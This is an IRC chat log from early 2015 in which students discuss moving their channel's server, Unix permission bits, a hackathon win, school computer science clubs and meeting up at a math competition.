[2015-01-30T23:06:14-0500] <Tamini_> assface: hardmath123 likes that book a lot.
[2015-01-30T23:06:43-0500] <assface> I liked it too
[2015-01-30T23:07:18-0500] <assface> also: why do you type "um"?
[2015-01-30T23:07:42-0500] <assface> you're wasting bytes that could be devoted to i2p!
[2015-01-30T23:14:29-0500] <Tamini_> i dont know!
[2015-01-30T23:14:46-0500] <Tamini_> also upenn campus looks surprisingly nice at 11pm
[2015-01-30T23:14:50-0500] <Tamini_> near midnight walks wheee
[2015-01-30T23:15:16-0500] <assface> I used to walk around at ~2 AM to get fresh air before bed
[2015-01-30T23:15:45-0500] <Tamini_> its nice!
[2015-01-30T23:16:32-0500] <assface> yeah
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[2015-01-31T03:17:34-0500] <LittleBobbyTables> Literally everything
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[2015-01-31T10:44:21-0500] <+JacobEdelman> who invited arseface here again? I forget?
[2015-01-31T10:44:28-0500] <alokpathy> I think it was nezorg
[2015-01-31T10:44:35-0500] <+JacobEdelman> ah, okay, I suspected as much
[2015-01-31T10:44:47-0500] <+JacobEdelman> hey, anybody here know a good proof for occams razor?
[2015-01-31T10:45:07-0500] <alokpathy> JacobEdelman: I think you do.
[2015-01-31T10:45:10-0500] <alokpathy> I hope you do.
[2015-01-31T10:45:15-0500] <+JacobEdelman> :P
[2015-01-31T10:45:29-0500] <+JacobEdelman> I do, but I'm looking for one part which I don't completely get
[2015-01-31T10:45:30-0500] <+JacobEdelman> :P
[2015-01-31T10:45:34-0500] <+JacobEdelman> last minute prep for the win
[2015-01-31T10:45:59-0500] <alokpathy> Ah, nice
[2015-01-31T11:35:51-0500] <+hardmath123> Proof for occam's razor?
[2015-01-31T11:36:03-0500] <+hardmath123> Can't you only have good supporting examples?
[2015-01-31T11:45:47-0500] <alokpathy> I think it's something like, fewer events dependent on => higher probability of success, or something
[2015-01-31T11:45:51-0500] <alokpathy> maybe under specific conditions.
[2015-01-31T11:55:44-0500] <+hardmath123> like when you're sent instructions on how to make a wormhole machine by an advanced alien species, and nobody believes you when you make contact with them?
[2015-01-31T11:59:10-0500] <@awe> hardmath123: I imagine this is a constant struggle in your life
[2015-01-31T12:03:16-0500] <+hardmath123> awe: http://www.imdb.com/title/tt0118884/
[2015-01-31T12:03:38-0500] <@awe> Contact: the real life story of hardmath123.
[2015-01-31T12:29:39-0500] <+hardmath123> i want vim keybindings for reddit
[2015-01-31T12:29:54-0500] <+hardmath123> not comment-typing, actual browsing
[2015-01-31T12:31:30-0500] <jwoglom> hardmath123: you might be able to set keyboard shortcuts in RES
[2015-01-31T12:31:33-0500] <jwoglom> but i haven't tried
[2015-01-31T12:44:21-0500] <@awe> How would you guys feel about me adding a bay area server?
[2015-01-31T12:45:23-0500] <@awe> Here's what the full plan would entail.
[2015-01-31T12:45:42-0500] <@awe> Firstly, I'd redo my site with Hakyll and serve it on GitHub's CDN.
[2015-01-31T12:46:00-0500] <@awe> I'd downsize this server (which is in New Jersey) to 512 MB instead of 1 GB.
[2015-01-31T12:46:16-0500] <@awe> I'd then add another 512 MB server in the Bay Area.
[2015-01-31T12:47:28-0500] <@awe> We'd get to come up with clever names for each server (name1.pdgn.co and name2.pdgn.co), and then irc.pdgn.co would be a general thing.
[2015-01-31T12:47:38-0500] <+hardmath123> Will it be noticably faster?
[2015-01-31T12:47:53-0500] <@awe> You'll probably get better ping.
[2015-01-31T12:47:57-0500] <@awe> It'll cost the same amount.
[2015-01-31T12:48:18-0500] <@awe> It'll make it easier for me to do maintenance too. 
[2015-01-31T12:48:29-0500] <@awe> II'll be able to take one of the servers down temporarily for updates.
[2015-01-31T12:48:42-0500] <@awe> Whereas right now, I haven't done a kernel update in the four months we've been running.
[2015-01-31T12:50:11-0500] <+JacobEdelman> awe: I like that idea
[2015-01-31T12:51:08-0500] <+JacobEdelman> hardmath123: the proof of occams razor works and is mathematicaly rigorous 
[2015-01-31T12:55:47-0500] <+hardmath123> awe: you should name them based on realms of LoTR
[2015-01-31T12:56:14-0500] <+hardmath123> awe: http://images1.fanpop.com/images/photos/2300000/Map-of-Middle-Earth-lord-of-the-rings-2329809-1600-1200.jpg
[2015-01-31T12:57:04-0500] <@awe> We'll put it to a vote before I start the process.
[2015-01-31T12:57:59-0500] <@awe> But it looks like there's no objections.
[2015-01-31T12:58:07-0500] <@awe> This will mean some down time though.
[2015-01-31T12:58:30-0500] <+JacobEdelman> how much is some?
[2015-01-31T12:58:38-0500] <@awe> I'd put it at an hour or two.
[2015-01-31T12:58:49-0500] <+JacobEdelman> okay, we can move to another server if needed
[2015-01-31T12:58:51-0500] <@awe> It's not happening right now though.
[2015-01-31T12:58:54-0500] <+JacobEdelman> (tmeporarily)
[2015-01-31T12:58:58-0500] <+JacobEdelman> awe: I know
[2015-01-31T12:59:09-0500] <@awe> I can try to do it when everyone's asleep, too.
[2015-01-31T12:59:12-0500] <@awe> If that's better.
[2015-01-31T12:59:14-0500] <LittleBobbyTables> oy
[2015-01-31T12:59:17-0500] <LittleBobbyTables> what's a 4 digit chmod
[2015-01-31T12:59:25-0500] <LittleBobbyTables> eg 7544 vs 7546
[2015-01-31T12:59:49-0500] <@awe> there's a special permissions set.
[2015-01-31T12:59:55-0500] <@awe> SUID/SGID/Sticky
[2015-01-31T13:00:06-0500] <+JacobEdelman> awe: I don't think LittleBobbyTables sleeps
[2015-01-31T13:00:19-0500] <@awe> Well, yeah, but LittleBobbyTables can just text me if he needs me during that time.
[2015-01-31T13:00:34-0500] <LittleBobbyTables> Lost your number :P
[2015-01-31T13:00:43-0500] <LittleBobbyTables> " In addition, you want anyone running the program to have an effective user id that makes them look like the owner. "
[2015-01-31T13:01:34-0500] <+hardmath123> I can spawn a temporary ircd on backtick for a little bit.
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[2015-01-31T15:55:55-0500] <Tamini_> cold
[2015-01-31T15:55:57-0500] <Tamini_> frozen
[2015-01-31T15:55:59-0500] <Tamini_> everything
[2015-01-31T15:58:37-0500] <jwoglom> Tamini_: having fun in PA? :P
[2015-01-31T16:00:28-0500] <+hardmath123> lol
[2015-01-31T16:01:17-0500] <+hardmath123> 70deg here
[2015-01-31T16:15:24-0500] <+JacobEdelman> hardmath123: .... lucky
[2015-01-31T16:31:46-0500] <LittleBobbyTables> 14 minute naked bfury against a solo jugg, blames team for being bad
[2015-01-31T16:32:09-0500] <LittleBobbyTables> gets no survivability against nukes that can do like 2k damage, and dies instantly in team fights, blames team
[2015-01-31T16:32:11-0500] <+hardmath123> ooh, time to play guess-the-sport
[2015-01-31T16:33:27-0500] <LittleBobbyTables> ill give you a hint, it's dota
[2015-01-31T16:33:34-0500] <+JacobEdelman> I thought so
[2015-01-31T16:33:40-0500] <+JacobEdelman> LittleBobbyTables: you good at dota?
[2015-01-31T16:33:51-0500] <LittleBobbyTables> mhm
[2015-01-31T16:35:46-0500] <+JacobEdelman> define good?
[2015-01-31T16:38:19-0500] <+hardmath123> awe: does mailbot have random crazyness built into it?
[2015-01-31T16:38:52-0500] <+hardmath123> 13:37:34      mailbot | nkf1: A minute ago, _I_ said that I was going to kick you.
[2015-01-31T16:38:53-0500] <+hardmath123> 13:37:34      mailbot | nkf1: A minute ago, _I_ said "does that make me inhumane?".
[2015-01-31T16:39:09-0500] <+hardmath123> except, there was nobody online named _I_, and nobody had ever said that on the channel.
[2015-01-31T16:44:44-0500] <+JacobEdelman> I found my next programming language
[2015-01-31T16:44:44-0500] <+JacobEdelman> https://github.com/thiagopnts/groot
[2015-01-31T16:48:13-0500] <+hardmath123> awe: nvm, i didn't realize mailbot responds to direct privmsgs.
[2015-01-31T16:48:42-0500] <+hardmath123> JacobEdelman: *rewrites groot-bot in groot*
[2015-01-31T16:49:05-0500] <+JacobEdelman> I should... really show
[2015-01-31T16:49:07-0500] <+JacobEdelman> *should
[2015-01-31T16:49:15-0500] <+JacobEdelman> also, I gotta bootstrap groot
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[2015-01-31T17:08:33-0500] <+JacobEdelman> awe: you still manage hscs.io's mail gun thing?
[2015-01-31T18:01:28-0500] <+JacobEdelman> I'm inviting a high school student from the xkcd irc here
[2015-01-31T18:01:34-0500] <+JacobEdelman> so yall gotta be on your best behavior
[2015-01-31T18:01:44-0500] <+JacobEdelman> especially you Pdigey
[2015-01-31T18:01:46-0500] <+JacobEdelman> *Pidgey
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[2015-01-31T18:02:52-0500] <+JacobEdelman> hello Coast
[2015-01-31T18:03:11-0500] <+JacobEdelman> its not as loud here as the xkcd irc
[2015-01-31T18:03:29-0500] <Coast> that's true for many channels
[2015-01-31T18:03:34-0500] <Coast> in fact, most channels
[2015-01-31T18:03:44-0500] <+JacobEdelman> true
[2015-01-31T18:03:54-0500] <+JacobEdelman> I'll do introductions
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[2015-01-31T18:04:29-0500] <+JacobEdelman> Pidgey is a bot and does the nick serv and everything
[2015-01-31T18:04:35-0500] <+JacobEdelman> awe is the adminstrater, he's in love Rust and wrote Pidgey in Rust
[2015-01-31T18:04:52-0500] <+JacobEdelman> (if you have a nick and are verified you are voiced)
[2015-01-31T18:05:18-0500] <+JacobEdelman> awebot is a bot, also in rust, for various things such as messaging other people
[2015-01-31T18:05:30-0500] <Coast> I see
[2015-01-31T18:05:35-0500] <Coast> this is quite neat
[2015-01-31T18:05:45-0500] <+JacobEdelman> were about half high school students, half college students
[2015-01-31T18:05:59-0500] <+JacobEdelman> although I think all of the college students are freshmen
[2015-01-31T18:06:38-0500] <Coast> The whole Denizens Answers thing is just another way to spend my free time
[2015-01-31T18:06:41-0500] <Coast> I have way too much of it
[2015-01-31T18:06:49-0500] <+JacobEdelman> well, a lot of use waste our spare time here
[2015-01-31T18:06:58-0500] <+JacobEdelman> (or waste our non spare time here, as I do)
[2015-01-31T18:06:59-0500] <Coast> and making nice websites
[2015-01-31T18:07:07-0500] <Coast> it seems
[2015-01-31T18:07:14-0500] <+JacobEdelman> can I see a website?
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[2015-01-31T18:07:23-0500] <Coast> no, your website is nice
[2015-01-31T18:07:26-0500] <Tamini_> so we wooon
[2015-01-31T18:07:32-0500] <Tamini_> oh hello hello
[2015-01-31T18:07:37-0500] <Coast> hi
[2015-01-31T18:07:40-0500] <+JacobEdelman> Tamini_: this is Coast, I got him from the xkcd irc channel
[2015-01-31T18:07:48-0500] <LittleBobbyTables> JacobEdelman: better than everyone in here combined
[2015-01-31T18:07:50-0500] <+JacobEdelman> Tamini_: he is in hs
[2015-01-31T18:08:05-0500] <Tamini_> new friends hello
[2015-01-31T18:08:09-0500] <Tamini_> what year?
[2015-01-31T18:08:20-0500] <+JacobEdelman> LittleBobbyTables: ..... almost none of us play.... okay, lemme put it another way, are you half as good at dota as you are at osu?
[2015-01-31T18:08:41-0500] <Coast> first year
[2015-01-31T18:08:54-0500] <+JacobEdelman> Tamini_: Coast needs ways to spend his copius spare time apparntely, I thought we could oblidge
[2015-01-31T18:08:55-0500] <+JacobEdelman> gtg
[2015-01-31T18:09:02-0500] <LittleBobbyTables> PIS pls
[2015-01-31T18:09:51-0500] <Tamini_> oh, youngun
[2015-01-31T18:09:53-0500] <Tamini_> hehe
[2015-01-31T18:09:56-0500] <Coast> yes
[2015-01-31T18:09:56-0500] <Tamini_> gnight friends
[2015-01-31T18:10:08-0500] <Tamini_> also OUR APP WORKED AND WE WON THINGS PLS CONGRATULATE
[2015-01-31T18:10:14-0500] <Tamini_> <3
[2015-01-31T18:10:24-0500] <jwoglom> winning things is always fun
[2015-01-31T18:10:33-0500] <LittleBobbyTables> you're all young
[2015-01-31T18:11:37-0500] <Tamini_> we won first place
[2015-01-31T18:11:39-0500] <Tamini_> where
[2015-01-31T18:11:41-0500] • Coast: congratulates
[2015-01-31T18:11:44-0500] <Tamini_> wheee*
[2015-01-31T18:11:48-0500] <Tamini_> thank you thank you
[2015-01-31T18:14:40-0500] <Tamini_> WAIT
[2015-01-31T18:14:50-0500] <Tamini_> awe: i can now afford starbound
[2015-01-31T18:15:31-0500] <Coast> nice game
[2015-01-31T18:15:34-0500] <+JacobEdelman> Coast: I thinks shes talking about this fyi https://philly.gopilot.org/
[2015-01-31T18:15:48-0500] <Tamini_> <3
[2015-01-31T18:15:57-0500] <+JacobEdelman> Tamini_: what was youre app?
[2015-01-31T18:15:59-0500] <Coast> I dont know if they've updated it lately or not, but it's nice
[2015-01-31T18:16:03-0500] <+JacobEdelman> Tamini_: and are you coming to hackBCA
[2015-01-31T18:16:18-0500] <+JacobEdelman> Coast: they've been doing lots of updates according to my brother
[2015-01-31T18:17:39-0500] <Coast> cool
[2015-01-31T18:20:17-0500] <Coast> well you see
[2015-01-31T18:20:56-0500] <Coast> School doesn't occupy more than 30% of my day. 30% is sleeping, so I'm left with 30% boredom
[2015-01-31T18:21:31-0500] <Coast> and now it's worse, we have an inter-semestrial break
[2015-01-31T18:21:54-0500] <Tamini_> JacobEdelman: a chat app with lots of buzzwords
[2015-01-31T18:21:56-0500] <Coast> so nothing to do for MORE time
[2015-01-31T18:22:59-0500] <Tamini_> @tell awe ping me when back pls
[2015-01-31T18:22:59-0500] <awebot> Tamini_: I'll let them know!
[2015-01-31T18:26:19-0500] <+hardmath123> Tamini_: Congratulations <3
[2015-01-31T18:26:40-0500] <Tamini_> thank youuu, hardmath123
[2015-01-31T18:33:16-0500] <Coast> gnight
[2015-01-31T18:34:48-0500] Coast (Smilerut@pdgn-hes.68i.5t7rjh.IP) left IRC (Connection closed)
[2015-01-31T18:41:01-0500] <+hardmath123> btw, it turns out i got a 18.5/20 on the soap
[2015-01-31T18:41:12-0500] <+hardmath123> and it underlined "Ashely Tam" and put a question mark under it
[2015-01-31T18:42:19-0500] <+hardmath123> s/it/he/
[2015-01-31T18:42:30-0500] <+hardmath123> my teacher is not a robot
[2015-01-31T18:48:33-0500] <+hardmath123> also
[2015-01-31T18:48:40-0500] <+hardmath123> who wants to see my shoes?
[2015-01-31T18:49:14-0500] <+hardmath123> http://backtick.town/~kc/poster.jpg
[2015-01-31T19:19:56-0500] <Tamini_> lol
[2015-01-31T19:20:15-0500] <Tamini_> i need to know what you look like sooner or later, hardmath123
[2015-01-31T19:20:22-0500] <Tamini_> and LOL
[2015-01-31T19:20:30-0500] <Tamini_> whats wrong with Ashley Tam?
[2015-01-31T19:23:42-0500] <+hardmath123> i don't know
[2015-01-31T19:23:52-0500] <Tamini_> >.<
[2015-01-31T19:23:56-0500] <+hardmath123> Tamini_: you'll find out what i look like someday.
[2015-01-31T19:24:17-0500] <Tamini_> less than a month, actually.
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[2015-01-31T19:27:17-0500] <+hardmath123> true. exciting.
[2015-01-31T19:27:22-0500] <+hardmath123> how do you propose to find me?
[2015-01-31T19:28:09-0500] <+hardmath123> maybe i'll wear my bright orange hoodie (i thought it would be safer when i bike, but it was so bright that i'm pretty sure i confused a driver and almost caused an accident)
[2015-01-31T19:28:10-0500] <LittleBobbyTables> hey hardmath123 can you send me a picture so i can laugh at her how she doesn't know what you look like
[2015-01-31T19:28:34-0500] <Tamini_> lol
[2015-01-31T19:28:41-0500] <Tamini_> umm
[2015-01-31T19:28:49-0500] <Tamini_> do you guys have school shirts
[2015-01-31T19:28:55-0500] <Tamini_> we can find the offcolor person
[2015-01-31T19:29:26-0500] <+hardmath123> I could wear my gunn hoodie, i guess, but it's going to be cold so i'd rather wear a legit jacket
[2015-01-31T19:29:30-0500] <+hardmath123> oh wait i know
[2015-01-31T19:29:51-0500] <alokpathy> Wait what are we talking about?
[2015-01-31T19:30:05-0500] <Tamini_> finding each other, hmmt edition
[2015-01-31T19:30:10-0500] <alokpathy> Oh, well
[2015-01-31T19:30:16-0500] <alokpathy> I can recognize Tamini_ 
[2015-01-31T19:30:39-0500] <alokpathy> and I guess for hardmath123 we can just look around for an Indian guy who isn't me
[2015-01-31T19:30:42-0500] <alokpathy> shouldn't be that many.
[2015-01-31T19:32:24-0500] <+hardmath123> wrong
[2015-01-31T19:32:27-0500] <+hardmath123> this is a math competition
[2015-01-31T19:32:39-0500] <+hardmath123> nerdy indian boys should be the vast majority
[2015-01-31T19:33:03-0500] <alokpathy> Sarcasm :P
[2015-01-31T19:33:37-0500] <alokpathy> Regardless, we could just ask every Indian guy if he's hardmath123.
[2015-01-31T19:33:43-0500] <alokpathy> It runs in O(N), so it should be fast.
[2015-01-31T19:39:36-0500] <alokpathy> More sarcasm :P
[2015-01-31T19:39:45-0500] <alokpathy> hardmath123: You could send us a selfie, lol.
[2015-01-31T19:39:59-0500] <+hardmath123> I could, but I don't send selfies on the intertubes.
[2015-01-31T19:41:17-0500] <alokpathy> Why not?>
[2015-01-31T19:43:19-0500] <+hardmath123> self-consciousness and a vague notion that i should protect my identity to some extent.
[2015-01-31T19:44:58-0500] <alokpathy> Oh, okay
[2015-01-31T19:45:18-0500] <alokpathy> Phone number?
[2015-01-31T19:45:49-0500] <+hardmath123> possibly
[2015-01-31T19:46:00-0500] <Tamini_> lol
[2015-01-31T19:46:02-0500] <Tamini_> maybe
[2015-01-31T19:46:08-0500] <Tamini_> or we could #hmmtmeetup
[2015-01-31T19:46:16-0500] <+hardmath123> with the understanding that every time my phone buzzes, there's a 60% chance i turn into a werewolf and eat the person responsible
[2015-01-31T19:46:26-0500] <Tamini_> and give each other dirrction
[2015-01-31T19:46:27-0500] <Tamini_> OH
[2015-01-31T19:46:28-0500] <Tamini_> WAIT
[2015-01-31T19:46:34-0500] <Tamini_> we could do the victor thing.
[2015-01-31T19:46:47-0500] <Tamini_> stalking: screencheat mode
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[2015-01-31T20:00:11-0500] <alokpathy> hardmath123: I can take that chance.
[2015-01-31T20:16:24-0500] <@awe> hardmath123: It occurred to me that I can actually just bring up the new server first, and then we'll migrate and so forth.
[2015-01-31T20:16:24-0500] <awebot> awe: An hour ago, Tamini_ said ping me when back pls.
[2015-01-31T20:16:35-0500] <@awe> Tamini_: I'm leaving again. Sorry. I can talk to you later tonight or tomorrow.
[2015-01-31T20:18:34-0500] <Tamini_> okie
[2015-01-31T20:26:27-0500] <+JacobEdelman> now I'm more annoyed I'm not going to hmmt... I'm definitely skyping in to say hi to hardmath123
[2015-01-31T20:27:15-0500] <+JacobEdelman> or maybe I'll just happen to visit mit at the same time ... :P
[2015-01-31T20:28:28-0500] <alokpathy> College visits :P
[2015-01-31T20:29:25-0500] <+JacobEdelman> hardmath123: I now hate you, there is java on that poster obscuring your body
[2015-01-31T20:40:22-0500] <Tamini_> hehe
[2015-01-31T20:41:35-0500] <alokpathy> JacobEdelman: wat
[2015-01-31T20:50:18-0500] <+JacobEdelman> JAVA BAD
[2015-01-31T20:50:32-0500] <+JacobEdelman> (in this http://backtick.town/~kc/poster.jpg )
[2015-01-31T20:51:53-0500] <assface> it's muh birfday
[2015-01-31T20:52:26-0500] <alokpathy> The United Computation?
[2015-01-31T20:52:31-0500] <alokpathy> assface: Happy birthday :D
[2015-01-31T20:53:30-0500] <assface> to celebrate, my friend and I got lost in the mountains for 2 hours
[2015-01-31T20:53:39-0500] <assface> and counted manzanitas
[2015-01-31T20:54:18-0500] <alokpathy> assface: Seems like the best way to spend it :P
[2015-01-31T20:54:54-0500] <assface> da
[2015-01-31T21:05:58-0500] <+hardmath123> alokpathy: it's called "The United Computations". It was a lame pun I made, and people were like "yo that's brilliant"
[2015-01-31T21:06:21-0500] <+hardmath123> alokpathy: Tamini_: JacobEdelman: did i tell you people the story of how i'm the president of our cs club?
[2015-01-31T21:06:36-0500] <+hardmath123> JacobEdelman: I didn't write that! I have better handwriting! You know that! >:(
[2015-01-31T21:07:13-0500] <+JacobEdelman> hardmath123: I didn't think you did, but I thought you wouldn't associate with such unsavory characters
[2015-01-31T21:07:37-0500] <+hardmath123> JacobEdelman: He's one of the few juniors who tolerates me at our school :P
[2015-01-31T21:07:40-0500] <alokpathy> hardmath123: I don't think you told us.
[2015-01-31T21:07:51-0500] <alokpathy> Oh, wait, what.
[2015-01-31T21:07:59-0500] <+JacobEdelman> hardmath123: I was never told that
[2015-01-31T21:08:03-0500] <+JacobEdelman> hardmath123: tell me the story
[2015-01-31T21:11:20-0500] <+hardmath123> Umm
[2015-01-31T21:11:22-0500] <+hardmath123> alright
[2015-01-31T21:11:24-0500] <+hardmath123> so
[2015-01-31T21:12:05-0500] <+hardmath123> This is Gunn, where everyone sort of needs to go to Stanford or their parents will disown them.
[2015-01-31T21:12:21-0500] <+hardmath123> And so everyone wants to be "that kid in charge of CS at Gunn"
[2015-01-31T21:12:46-0500] <+hardmath123> And the result of that was that at the beginning of this school year, we had 12--i kid you not, twelve--CS clubs.
[2015-01-31T21:12:58-0500] <alokpathy> Wow
[2015-01-31T21:13:13-0500] <+JacobEdelman> hardmath123: wow, and?
[2015-01-31T21:13:41-0500] <assface> lol
[2015-01-31T21:14:33-0500] <+hardmath123> So I was talking to Paley one day (Paley's our awesome CS teacher)
[2015-01-31T21:16:51-0500] <+hardmath123> I said, "It bothers me that we have a dozen CS clubs and none of them are going to get anything done."
[2015-01-31T21:18:58-0500] <+hardmath123> So he's like, "Ok, come up with something better, and we'll do that."
[2015-01-31T21:19:13-0500] <assface> did you then start a homemade wepons club?
[2015-01-31T21:19:17-0500] <assface> I'd go to that club
[2015-01-31T21:19:17-0500] <+hardmath123> This was 24 hours before the deadline for a club application.
[2015-01-31T21:19:46-0500] <+hardmath123> So I draft a 5-page constitution stealing liberally from the US Constitution, typeset it in Averia Serif, and send it over.
[2015-01-31T21:19:54-0500] <+hardmath123> And he says "sweet! let's do it."
[2015-01-31T21:20:01-0500] <alokpathy> lolwut
[2015-01-31T21:20:25-0500] <+hardmath123> the constitution literally said "we're one club on paper, but all these people running cs-ey clubs get complete control over what they want to do."
[2015-01-31T21:20:33-0500] <assface> lol
[2015-01-31T21:20:43-0500] <+hardmath123> and so we round up all these people and get them in a room together with lots of leaky pens and they sign stuff
[2015-01-31T21:21:08-0500] <assface> when do homemade weapons factor into this?
[2015-01-31T21:21:11-0500] <+hardmath123> and then i'm like "oh wait we need to elect a president" (democracy is mandatory at our school, which imho defeats the purpose of democracy)
[2015-01-31T21:21:20-0500] <+hardmath123> and everyone just stares at each other awkwardly
[2015-01-31T21:21:30-0500] <+hardmath123> and then Paley's like "who wants to be president?"
[2015-01-31T21:21:58-0500] <+hardmath123> and like 2 people look up expectantly (i'm in the back signing stuff/orgnizing paperwork)
[2015-01-31T21:22:15-0500] <+hardmath123> so paley looks at both of them and then says "ok, kartik, you're president, don't screw this up."
[2015-01-31T21:22:26-0500] <+hardmath123> so I spent the next few months not screwing it up.
[2015-01-31T21:22:53-0500] <+JacobEdelman> wow
[2015-01-31T21:22:54-0500] <assface> and then you made IEDs and blew up the school?
[2015-01-31T21:24:15-0500] <+JacobEdelman> hardmath123: is that the ending?
[2015-01-31T21:24:30-0500] <alokpathy> hardmath123: So you're going to Stanford :P
[2015-01-31T21:24:45-0500] <+hardmath123> alokpathy: doubtful, i'm very bad at this whole "not screwing up stuff" business.
[2015-01-31T21:24:58-0500] <+JacobEdelman> hardmath123: what happened?
[2015-01-31T21:25:02-0500] <+JacobEdelman> also
[2015-01-31T21:25:06-0500] <+hardmath123> JacobEdelman: pretty much, yeah.
[2015-01-31T21:25:12-0500] <+hardmath123> JacobEdelman: it was funnier irl, i think.
[2015-01-31T21:25:28-0500] <+JacobEdelman> it was definitely funny and awesome over the irc
[2015-01-31T21:25:36-0500] <+JacobEdelman> the cs club at our school is a a tryannicall dictatorship
[2015-01-31T21:25:48-0500] <+JacobEdelman> (I'm pres and alokpathy is vice-pres)
[2015-01-31T21:25:54-0500] <+hardmath123> lol
[2015-01-31T21:26:06-0500] <+JacobEdelman> in a way its like a democracy
[2015-01-31T21:26:12-0500] <+hardmath123> with 2 votes.
[2015-01-31T21:26:17-0500] <+JacobEdelman> yup :)
[2015-01-31T21:28:01-0500] <+JacobEdelman> (I started it, to this day I hold a grudge against members of our schools student council looking down on me as a little sophmore and talking about how the club is going to be led and stuff)
[2015-01-31T21:28:19-0500] <+JacobEdelman> (awe was there and so he gave us legitimicy)
[2015-01-31T21:29:32-0500] <+JacobEdelman> (we have an addiitonal council of officers)
[2015-01-31T21:29:40-0500] <+JacobEdelman> (they are called the imperial high council)
[2015-01-31T21:29:55-0500] <+hardmath123> lol
[2015-01-31T21:29:58-0500] <+JacobEdelman> (cause they refused to think up a name for themselves so I gave them one)
[2015-01-31T21:30:05-0500] <+JacobEdelman> my preffered title is grand pooba
[2015-01-31T21:30:12-0500] <+hardmath123> awe comprises the Council of Elder.
[2015-01-31T21:31:07-0500] <+JacobEdelman> alokpathy settled on koala as his preffered title I think
[2015-01-31T21:31:16-0500] <+JacobEdelman> we have new imperial high councilers
[2015-01-31T21:32:42-0500] <assface> can I be your god?
[2015-01-31T21:33:04-0500] <alokpathy> JacobEdelman: Wait I thought we agreed that awe's dog was the new VP
[2015-01-31T21:33:11-0500] <assface> you know, that thing you talk to sometimes but never affect anything
[2015-01-31T21:33:14-0500] <alokpathy> and your dog was the new prez.
[2015-01-31T21:33:47-0500] <+JacobEdelman> oh yeah
[2015-01-31T21:33:58-0500] <+JacobEdelman> arseface: thats also me
[2015-01-31T21:34:04-0500] <+hardmath123> I got very confused and thought alokpathy's god was vice-president to jacob's god.
[2015-01-31T21:34:17-0500] <assface> excellent
[2015-01-31T21:34:39-0500] <+JacobEdelman> lol
[2015-01-31T21:34:56-0500] <alokpathy> wat
[2015-01-31T21:37:15-0500] <assface> angkor
[2015-01-31T21:39:32-0500] <+JacobEdelman>   wait, what?
[2015-01-31T21:39:44-0500] <+JacobEdelman> arseface, nezorg, what kinda cs club do you have?
[2015-01-31T21:40:40-0500] <assface> there's a programming club
[2015-01-31T21:40:57-0500] <assface>  basically a bunch of peopel get into the cs lab and dick around
[2015-01-31T21:41:17-0500] <assface> I think nezorg tried to start a hacking club awhile back too
[2015-01-31T21:42:11-0500] <Tamini_> me home
[2015-01-31T21:42:17-0500] <Tamini_> i thought your dogs were president
[2015-01-31T21:42:22-0500] <Tamini_> alokpathy: JacobEdelman
[2015-01-31T21:42:36-0500] <Tamini_> and assface: oh, did sec club not work out for you guys?
[2015-01-31T21:42:49-0500] <assface> I've never met anyone who goes
[2015-01-31T21:43:03-0500] <assface> you'd have to ask nezorg tho
[2015-01-31T21:44:12-0500] <alokpathy> Tamini_: They are.
[2015-01-31T21:44:21-0500] <Tamini_> eh
[2015-01-31T21:44:30-0500] <Tamini_> i feel like it could be a big thing though
[2015-01-31T21:44:35-0500] <Tamini_> hacking is generally cool.
[2015-01-31T21:44:50-0500] <Tamini_> our sec club ends up balancing legit stuff with flashy stuff to keep people tbh
[2015-01-31T21:45:02-0500] <alokpathy> Tamini_: How was airplane driver philly?
[2015-01-31T21:45:14-0500] <assface> idk mang
[2015-01-31T21:45:18-0500] <Tamini_> ...??
[2015-01-31T21:45:21-0500] <Tamini_> oh
[2015-01-31T21:45:23-0500] <Tamini_> good
[2015-01-31T21:45:28-0500] <Tamini_> we actually won a thing
[2015-01-31T21:45:37-0500] <Tamini_> i wrote latex for our demo
[2015-01-31T21:45:45-0500] <alokpathy> Tamini_: Oh what's you win? :o
[2015-01-31T21:45:46-0500] <Tamini_> we impressed judges with buzzwords
[2015-01-31T21:45:49-0500] <Tamini_> umm
[2015-01-31T21:45:53-0500] <Tamini_> they took away overall prizes
[2015-01-31T21:46:01-0500] <Tamini_> and split 4 categories, 1 winner for each
[2015-01-31T21:46:08-0500] <Tamini_> we won most useful everyday
[2015-01-31T21:46:12-0500] <alokpathy> Ohhhhh
[2015-01-31T21:46:14-0500] <alokpathy> What'd you make?
[2015-01-31T21:46:28-0500] <assface> an electrical jesus
[2015-01-31T21:46:46-0500] <alokpathy> Dayum son.
[2015-01-31T21:47:16-0500] <+JacobEdelman> they made a chat app with a lot of buzz words
[2015-01-31T21:47:30-0500] <jwoglom> isn't that like such a common hackathon project
[2015-01-31T21:47:32-0500] <jwoglom> lol
[2015-01-31T21:47:42-0500] <+JacobEdelman> Tamini_: is it okay if I'm not too impressed with your app (based off that description)... hackathon judging is broken
[2015-01-31T21:47:45-0500] <assface> was it cloud-based multi-user intercompatible and distributed?
[2015-01-31T21:47:59-0500] <Tamini_> lol
[2015-01-31T21:48:02-0500] <Tamini_> it was basically
[2015-01-31T21:48:06-0500] <Tamini_> moddable chat
[2015-01-31T21:48:12-0500] <assface> so...
[2015-01-31T21:48:12-0500] <assface> irc
[2015-01-31T21:48:14-0500] <Tamini_> it was pretty cute and very material
[2015-01-31T21:48:21-0500] <+JacobEdelman> Tamini_: hacker chat won pilot philly last year or so I think
[2015-01-31T21:48:25-0500] <Tamini_> but in effect we made it to win hackathons not to win things
[2015-01-31T21:48:26-0500] <Tamini_> LOL
[2015-01-31T21:48:34-0500] <Tamini_> we called it "hacker chat but doesnt suck"
[2015-01-31T21:48:45-0500] <Tamini_> which made it that much funnier when victor got that selfie with me
[2015-01-31T21:48:52-0500] <+JacobEdelman> http://hackerchat.im/
[2015-01-31T21:48:54-0500] <assface> I once made a really shitty distributed IRC
[2015-01-31T21:48:55-0500] <+JacobEdelman> 2 years ago
[2015-01-31T21:48:58-0500] <Tamini_> they kinda like lit up at the words
[2015-01-31T21:48:58-0500] <Tamini_> uh
[2015-01-31T21:48:59-0500] <assface> it was like 200 lines of C code
[2015-01-31T21:49:03-0500] <Tamini_> "collaborative coding"
[2015-01-31T21:49:17-0500] <Tamini_> and that kind of stuff
[2015-01-31T21:49:23-0500] <+JacobEdelman> can I rant at how hackathon judging is broken for a bit?
[2015-01-31T21:49:27-0500] <Tamini_> and our presentation was really funny so yea
[2015-01-31T21:49:28-0500] <assface> pls do
[2015-01-31T21:49:31-0500] <Tamini_> its pretty damn broken
[2015-01-31T21:49:35-0500] <Tamini_> but also realize
[2015-01-31T21:49:36-0500] <+JacobEdelman> hackathon judging does not work
[2015-01-31T21:49:39-0500] <Tamini_> pilotphilly had uh
